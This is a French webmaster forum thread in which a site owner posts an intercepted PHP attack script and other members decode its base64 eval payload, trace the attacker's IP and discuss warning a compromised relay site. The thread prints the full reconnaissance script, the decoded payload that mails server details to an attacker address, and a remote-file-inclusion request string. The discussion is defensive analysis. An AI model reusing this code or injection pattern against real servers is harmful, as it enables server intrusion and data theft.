Tentative de piratage ^^

Consultez la formation à Google Analytics de WebRankInfo / Ranking Metrics


medium69
WRInaute passionné
WRInaute passionné
 
Messages: 2485
Inscription: 7 Mai 2005

Tentative de piratage ^^

Message le Mar Avr 12, 2011 10:20

Je viens d'intercepter ce code :

Code: Tout sélectionner
function ConvertBytes($number)
{
        $len = strlen($number);
        if($len < 4)
        {
                return sprintf("%d b", $number);
        }
        if($len >= 4 && $len <=6)
        {
                return sprintf("%0.2f Kb", $number/1024);
        }
        if($len >= 7 && $len <=9)
        {
                return sprintf("%0.2f Mb", $number/1024/1024);
        }
   
        return sprintf("%0.2f Gb", $number/1024/1024/1024);
                           
}

echo "Rama<br>";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo "Rama was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "uptime: $up<br>";
echo "id: $id1<br>";
echo "pwd: $pwd1<br>";
echo "php: $php1<br>";
echo "software: $sof1<br>";
echo "server-name: $name1<br>";
echo "server-ip: $ip1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
eval(base64_decode(" un code à évaluer"));
exit;


mon site à diverses protections et je suis tombé là-dessus.
J'ai compris que le but est d'avoir des infos sur mon serveur et mes id.

Mais que fait la dernière ligne (eval...) ?
Dernière édition par Marie-Aude le Mar Avr 12, 2011 16:27, édité 1 fois.
Raison: Suppression de la ligne d'éval, pour éviter de faire crier les antivirus


Blount
WRInaute occasionnel
WRInaute occasionnel
 
Messages: 430
Inscription: 18 Nov 2010

Re: Tentative de piratage ^^

Message le Mar Avr 12, 2011 10:26

Ça sert à évaluer du code source PHP. base64 permet de convertir des données dans un format sépécifique contenant des caractères ASCII seulement.

Avec un print_r de la sortie de « base64_decode », on obtiens ceci :
jerome@jerome:~$ php -r 'print_r(base64_decode("aWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgeyAkc2FmZW1vZGUgPSAiT04iOyB9IGVsc2UgeyAkc2FmZW1vZGUgPSAiT0ZGIjsgfSAkdmlzaXRvciA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOyAkZmxvYXQgPSAiRnJvbSA6IHZ1cmwgaW5mbyA8ZnVsbEBpbmZvLmNvbT4iOyAkYXJhbiA9IGV4ZWMoJ3VuYW1lIC1hOycpOyAkd2ViID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOyAkaW5qID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07ICRib2R5ID0gIkJ1ZyBodHRwOi8vIi4kd2ViLiRpbmouIm5uU3ByZWFkIFZpYSA6ICIuJHZpc2l0b3IuIm5uS2VybmVsIFZlcnNpb24gOiAiLiRhcmFuLiJublNhZmUgTW9kZSA6ICIuJHNhZmVtb2RlOyBtYWlsKCJ1bml4b24yMDEwQGdtYWlsLmNvbSIsIlNldG9yYW4gQm9zICIuJHNhZmVtb2RlLCRib2R5LCRmbG9hdCk7"));'
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "ON"; } else { $safemode = "OFF"; } $visitor = $_SERVER["REMOTE_ADDR"]; $float = "From : vurl info <full@info.com>"; $aran = exec('uname -a;'); $web = $_SERVER["HTTP_HOST"]; $inj = $_SERVER["REQUEST_URI"]; $body = "Bug http://".$web.$inj."nnSpread Via : ".$visitor."nnKernel Version : ".$aran."nnSafe Mode : ".$safemode; mail("unixon2010@gmail.com","Setoran Bos ".$safemode,$body,$float);


En plus propre :
Code: Tout sélectionner

if 
(@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
    $safemode = "ON";
}
 else {
    $safemode = "OFF";
}
$visitor = $_SERVER["REMOTE_ADDR"];
$float = "From : vurl info <full@info.com>";
$aran = exec('uname -a;');
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "Bug http://".$web.$inj."nnSpread Via : ".$visitor."nnKernel Version : ".
            $aran."nnSafe Mode : ".$safemode;
mail("unixon2010@gmail.com","Setoran Bos ".$safemode,$body,$float);
 


medium69
WRInaute passionné
WRInaute passionné
 
Messages: 2485
Inscription: 7 Mai 2005

Re: Tentative de piratage ^^

Message le Mar Avr 12, 2011 10:36

Si j'ai bien compris, si le code qu'il a essayé d'injecter avait été produit, il aurait reçu un e-mail avec diverses informations sur moi ?

J'ai testé le bout de code sans la dernière partie, et c'est vrai que l'on y trouve des infos intéressante :mrgreen:

Cela dit, moi aussi j'ai pu glaner quelques infos sur lui. Certes, pas grand chose, mais ça aide ^^

Code: Tout sélectionner
    * Code erreur internet :
    * Date et heure d'accès : 12/04/11 à 11:07:39
    * Url demandée : /?page=http://wt-kerber.at/r.txt??
    * Provenance : http://www.science-et-vie.net/
    * Navigateur utilisé : Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)
    * Méthode utilisée : GET
    * Chaine de requête : page=http://wt-kerber.at/r.txt??
    * Nom de Domaine : 212.234.218.194
    * IP du visiteur : 212.234.218.194


quant au site kerber ; il aurait été piraté lui aussi et il s'en servirait pour tenter d'injecter son code ?


Zecat
WRInaute accro
WRInaute accro
 
Messages: 12003
Inscription: 1 Mar 2005

Re: Tentative de piratage ^^

Message le Mar Avr 12, 2011 10:59

un petit signalement a google ?

mail("unixon2010@gmail.com","Setoran Bos ".$safemode,$body,$float);

:roll:

mitchum
WRInaute discret
WRInaute discret
 
Messages: 237
Inscription: 18 Fév 2004

Re: Tentative de piratage ^^

Message le Mar Avr 12, 2011 11:04

un truc "drole" c'est quand tu trace l'ip....

Code: Tout sélectionner
IP address:    212.234.218.194
IP country code:    FR
IP address country:    ip address flag France
IP address state:    Ile-de-France
IP address city:    Maisons-alfort
IP address latitude:    48.8000
IP address longitude:    2.4333
ISP of this IP :    France Telecom
Organization:    MINISTERE de L'INTERIEUR
Local time in France:    2011-04-12 12:01


JanoLapin
WRInaute accro
WRInaute accro
 
Messages: 4056
Inscription: 21 Sep 2008

Re: Tentative de piratage ^^

Message le Mar Avr 12, 2011 11:06

c'est pas sur que ce soit utile, d'après le Whois, le site appartient à une fiduciaire. C'est quand même une profession très encadrée, et je ne les vois pas jouer à ce genre de jeu...

Peut-être est-ce simplement leur propre site qui a été piraté et sert de relais, comme tu le suggérais...

Prendre contact avec eux n'est donc pas forcémment une mauvaise chose, non ?


medium69
WRInaute passionné
WRInaute passionné
 
Messages: 2485
Inscription: 7 Mai 2005

Re: Tentative de piratage ^^

Message le Mar Avr 12, 2011 11:10

Zecat a écrit:un petit signalement a google ?

mail("unixon2010@gmail.com","Setoran Bos ".$safemode,$body,$float);

:roll:


Je n'y avais pas pensé...

Comme je peux faire ce signalement ?
Quoi qu'il s'agit probablement d'une adresse relais.

Au fait... Je l'ai inscrit d'office a ma newsletter ; ainsi, il aura des infos sur mon site tous les mois :mrgreen:


medium69
WRInaute passionné
WRInaute passionné
 
Messages: 2485
Inscription: 7 Mai 2005

Re: Tentative de piratage ^^

Message le Mar Avr 12, 2011 11:12

JanoLapin a écrit:c'est pas sur que ce soit utile, d'après le Whois, le site appartient à une fiduciaire. C'est quand même une profession très encadrée, et je ne les vois pas jouer à ce genre de jeu...

Peut-être est-ce simplement leur propre site qui a été piraté et sert de relais, comme tu le suggérais...

Prendre contact avec eux n'est donc pas forcémment une mauvaise chose, non ?


C'est un site allemand il me semble et si je ne suis pas pote avec shékispire... je le suis pas plus avec son pote dont j'ai perdu le nom :wink:

Cela dit, c'est exactement la réflexion que je me suis faite. Il sert de relais, c'est évident.


Leonick
WRInaute accro
WRInaute accro
 
Messages: 19599
Inscription: 8 Aoû 2004

Re: Tentative de piratage ^^

Message le Mar Avr 12, 2011 11:53

Zecat a écrit:un petit signalement a google ?
mail("unixon2010@gmail.com","Setoran Bos ".$safemode,$body,$float);
il sert à quoi ce mail ?


bee_human
WRInaute accro
WRInaute accro
 
Messages: 2633
Inscription: 16 Juin 2005

Re: Tentative de piratage ^^

Message le Mar Avr 12, 2011 12:14

medium69 a écrit:C'est un site allemand il me semble et si je ne suis pas pote avec shékispire... je le suis pas plus avec son pote dont j'ai perdu le nom :wink:


ça doit être gueute...


medium69
WRInaute passionné
WRInaute passionné
 
Messages: 2485
Inscription: 7 Mai 2005

Re: Tentative de piratage ^^

Message le Mar Avr 12, 2011 12:56

Leonick a écrit:
Zecat a écrit:un petit signalement a google ?
mail("unixon2010@gmail.com","Setoran Bos ".$safemode,$body,$float);
il sert à quoi ce mail ?


A recevoir les informations qu'il aurait pu obtenir sur le site, le serveur, l'identifiant, etc.


medium69
WRInaute passionné
WRInaute passionné
 
Messages: 2485
Inscription: 7 Mai 2005

Re: Tentative de piratage ^^

Message le Mar Avr 12, 2011 12:57

bee_human a écrit:
medium69 a écrit:C'est un site allemand il me semble et si je ne suis pas pote avec shékispire... je le suis pas plus avec son pote dont j'ai perdu le nom :wink:


ça doit être gueute...


Ah moins que cela ne soit sa copine : Gueuze :mrgreen:

Dolph
WRInaute impliqué
WRInaute impliqué
 
Messages: 631
Inscription: 1 Mar 2011

Re: Tentative de piratage ^^

Message le Mar Avr 12, 2011 12:57

Moi, j'ai une question qu'on a pas posé... :-)

Comment tu l'as intercepté ce code ?


medium69
WRInaute passionné
WRInaute passionné
 
Messages: 2485
Inscription: 7 Mai 2005

Re: Tentative de piratage ^^

Message le Mar Avr 12, 2011 13:27

Juste un début de piste :

Code: Tout sélectionner
if (xxx !== TRUE || (isset($_SERVER['HTTP_REFERER']) && ($_SERVER['HTTP_REFERER'] != 'http://www.science-et-vie.net' && strpos($_SERVER['QUERY_STRING'], '=http')))) {
   require($_SERVER['DOCUMENT_ROOT'].'/xxx/anti-hacking.php');   
   exit;
}


Mais je t'en dirais pas plus ;)


JanoLapin
WRInaute accro
WRInaute accro
 
Messages: 4056
Inscription: 21 Sep 2008

Re: Tentative de piratage ^^

Message le Mar Avr 12, 2011 14:16

C'est un site autrichien, et non pas allemand (pas confondre: <troll>nom d'un Belge ! :mrgreen: </troll>

Leur site est en pur html (avec 1 JS pour l'imprimer (sisi ça existe encore). Ils sont une dizaine de personne et apparemment sans informaticien...
Bref, ils ne sont sont probablement pas au courant de la présence de ce fichier sur leur serveur (fichier extension txt, qui plus est).

Si tu veux me faire parvenir par MP un texte de un mail d'avertissement (court) à leur intention, je peux te le traduire.
Nb: pas compliqué, parce qu'il que je le comprenne
NBB: pas compliqué, parce qu'il faut qu'ils le comprennent
NBBB pas TROP compliqué, parce qu'ilf aut que je le leur fasse comprendre ...

Tentative de piratage ^^

Si vous avez aimé cette discussion, partagez-la sur vos réseaux sociaux préférés :

Formation recommandée sur ce thème :

Formation Google Analytics : en 2 jours, apprenez comment exploiter l'essentiel des possibilités de l'outil de mesure d'audience de Google. Formation animée par les experts Google Analytics de Ranking Metrics.

Tous les détails sur le site Ranking Metrics : programme, prix, dates et lieux, inscription en ligne.

Lectures recommandées sur ce thème :



Qui est en ligne

Utilisateurs parcourant ce forum: Wefficient et 0 invités